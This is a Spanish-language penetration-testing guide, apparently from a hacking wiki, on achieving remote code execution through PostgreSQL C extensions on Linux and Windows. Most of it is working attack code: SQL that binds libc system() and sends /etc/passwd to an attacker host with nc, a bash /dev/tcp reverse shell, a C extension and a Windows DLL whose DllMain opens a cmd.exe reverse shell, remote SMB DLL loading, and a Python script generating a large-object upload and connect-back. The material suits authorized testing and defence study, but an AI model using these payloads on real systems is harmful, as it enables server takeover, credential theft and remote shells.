RCE with PostgreSQL Extensions

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Extensiones de PostgreSQL

PostgreSQL ha sido desarrollado con la extensibilidad como una característica central, permitiendo integrar extensiones como si fueran funcionalidades integradas. Estas extensiones, esencialmente bibliotecas escritas en C, enriquecen la base de datos con funciones, operadores o tipos adicionales.

Desde la versión 8.1 en adelante, se impone un requisito específico a las bibliotecas de extensiones: deben ser compiladas con un encabezado especial. Sin esto, PostgreSQL no las ejecutará, asegurando que solo se utilicen extensiones compatibles y potencialmente seguras.

Además, ten en cuenta que si no sabes cómo subir archivos a la víctima abusando de PostgreSQL, deberías leer esta publicación.

RCE en Linux

Para más información consulta: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

La ejecución de comandos del sistema desde PostgreSQL 8.1 y versiones anteriores es un proceso que ha sido claramente documentado y es sencillo. Es posible usar este: módulo de Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;

Escribir archivo binario desde base64

Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese asunto:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Sin embargo, cuando se intentó en versiones mayores se mostró el siguiente error:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Este error se explica en la documentación de PostgreSQL:

Para asegurar que un archivo de objeto cargado dinámicamente no se cargue en un servidor incompatible, PostgreSQL verifica que el archivo contenga un "bloque mágico" con el contenido apropiado. Esto permite al servidor detectar incompatibilidades obvias, como código compilado para una versión principal diferente de PostgreSQL. Se requiere un bloque mágico a partir de PostgreSQL 8.2. Para incluir un bloque mágico, escribe esto en uno (y solo uno) de los archivos fuente del módulo, después de haber incluido el encabezado fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Desde la versión 8.2 de PostgreSQL, el proceso para que un atacante explote el sistema se ha vuelto más desafiante. Se requiere que el atacante utilice una biblioteca que ya esté presente en el sistema o que suba una biblioteca personalizada. Esta biblioteca personalizada debe estar compilada contra la versión principal compatible de PostgreSQL y debe incluir un "bloque mágico" específico. Esta medida aumenta significativamente la dificultad de explotar sistemas PostgreSQL, ya que requiere una comprensión más profunda de la arquitectura del sistema y la compatibilidad de versiones.

Compilar la biblioteca

Obtén la versión de PostgreSQL con:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Para compatibilidad, es esencial que las versiones principales se alineen. Por lo tanto, compilar una biblioteca con cualquier versión dentro de la serie 9.6.x debería garantizar una integración exitosa.

Para instalar esa versión en tu sistema:

apt install postgresql postgresql-server-dev-9.6

Y compila la biblioteca:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Luego sube la biblioteca compilada y ejecuta comandos con:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Puedes encontrar esta biblioteca precompilada para varias versiones diferentes de PostgreSQL e incluso puedes automatizar este proceso (si tienes acceso a PostgreSQL) con:

GitHub - Dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL serviceGitHub

RCE en Windows

La siguiente DLL toma como entrada el nombre del binario y el número de veces que deseas ejecutarlo y lo ejecuta:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Puedes encontrar el DLL compilado en este zip:

4KB

pgsql_exec.zip

archive

Puedes indicar a este DLL qué binario ejecutar y el número de veces que ejecutarlo, en este ejemplo ejecutará calc.exe 2 veces:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

En aquí puedes encontrar este reverse-shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Note cómo en este caso el código malicioso está dentro de la función DllMain. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, solo cargar la DLL hará que se ejecute el reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

El proyecto PolyUDF también es un buen punto de partida con el proyecto completo de MS Visual Studio y una biblioteca lista para usar (incluyendo: command eval, exec y cleanup) con soporte de múltiples versiones.

RCE en las versiones más recientes de PostgreSQL

En las últimas versiones de PostgreSQL, se han impuesto restricciones donde el superuser está prohibido de cargar archivos de biblioteca compartida excepto desde directorios específicos, como C:\Program Files\PostgreSQL\11\lib en Windows o /var/lib/postgresql/11/lib en sistemas *nix. Estos directorios están asegurados contra operaciones de escritura por las cuentas NETWORK_SERVICE o postgres.

A pesar de estas restricciones, es posible que un superuser de base de datos autenticado escriba archivos binarios en el sistema de archivos utilizando "objetos grandes". Esta capacidad se extiende a escribir dentro del directorio C:\Program Files\PostgreSQL\11\data, que es esencial para operaciones de base de datos como actualizar o crear tablas.

Una vulnerabilidad significativa surge del comando CREATE FUNCTION, que permite la navegación de directorios en el directorio de datos. En consecuencia, un atacante autenticado podría explotar esta navegación para escribir un archivo de biblioteca compartida en el directorio de datos y luego cargarlo. Esta explotación permite al atacante ejecutar código arbitrario, logrando la ejecución de código nativo en el sistema.

Flujo de ataque

Primero que nada, necesitas usar objetos grandes para subir el dll. Puedes ver cómo hacerlo aquí:

Big Binary Files Upload (PostgreSQL)

Una vez que hayas subido la extensión (con el nombre de poc.dll para este ejemplo) al directorio de datos, puedes cargarla con:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Note que no necesitas agregar la extensión .dll ya que la función de creación la añadirá.

Para más información lee la publicación original aquí. En esa publicación este fue el código utilizado para generar la extensión de postgres (para aprender cómo compilar una extensión de postgres, lee cualquiera de las versiones anteriores). En la misma página se proporcionó este exploit para automatizar esta técnica:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referencias

• https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

• https://www.exploit-db.com/papers/13084

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